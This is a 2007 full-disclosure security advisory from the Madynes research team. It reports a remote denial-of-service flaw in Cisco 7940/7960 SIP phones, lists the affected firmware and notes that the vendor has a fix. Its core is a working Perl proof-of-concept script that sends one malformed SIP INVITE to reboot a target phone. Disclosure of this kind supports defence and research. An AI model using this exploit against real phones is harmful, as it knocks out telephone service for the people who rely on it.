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Message-Id: <1174379310.6695.7.camel@Crocodile.loria>
Date: Tue, 20 Mar 2007 09:28:30 +0100
From: Radu State <state@...ia.fr>
To: full-disclosure@...ts.grok.org.uk
Subject: CISCO Phone 7940 DOS vulnerability
MADYNES Security Advisory
http://madynes.loria.fr
Severity: High
Title: Cisco 7940 SIP INVITE remote DOS
Date: February 19, 2007
ID: KIPH2
Synopsis: After sending a cra fted INVITE message the device immediately
reboots. The phone does not check properly the sipURI field of the
Remote-Party-ID in the message.
The vendor was informed and acknowledged the vulnerability. This
vulnerability was identified by the Madynes research team at INRIA
Lorraine, using the Madynes VoIP fuzzer.
Background: SIP is the IETF standardized (RFCs 2543 and 3261) protocol
for VoIP signalization. SIP is an ASCII based INVITE message is used to
initiate and maintain a communication session.
Affected devices: Cisco phone 7940/7960 running firmware P0S3-07-4-00
Unaffected: devices running firmware POS8-6-0
Proof of Concept Code:
#!/usr/bin/perl
use IO::Socket::INET;
die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);
$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],
Proto=>'udp',
PeerAddr=>$ARGV[0]);
$msg="INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.1.2;branch=z9hG4jk\r\nFrom: sip:chirimolla
\@192.168.1.2;tag=qwzng\r\nTo: <sip:$ARGV[2]\@$ARGV[0];user=ip>\r
\nCall-ID: fosforito\@192.168.1.1\r\nCSeq: 921 INVITE\r
\nRemote-Party-ID: csip:7940-1\@192.168.\xd1.7\r\n\r\n";
$socket->send($msg);
Description: After receiving one crafted SIP INVITE message, the
affected device reboots immediately. The proof of concept code can be
used to demonstrate the vulnerability.
Impact
A malicious user can remotely crash and perform a denial of service
attack by sending one crafted SIP INVITE message. This is conceptually
similar to the “ping of death”.
Resolution:
Fixed software is available from the vendor and customers following
recommended best practices (ie segregating VOIP traffic from data) will
be protected from malicious traffic in most situations.
Credits:
Humberto J. Abdelnur (Ph.D Student)
Radu State (Ph.D)
Olivier Festor (Ph.D)
This vulnerability was identified by the Madynes research team at INRIA
Lorraine, using the Madynes VoIP fuzzer.
http://madynes.loria.fr/
Information about us: Madynes is a research team at INRIA Lorraine
working on VoIP Security assessment, intrusion detection and prevention.
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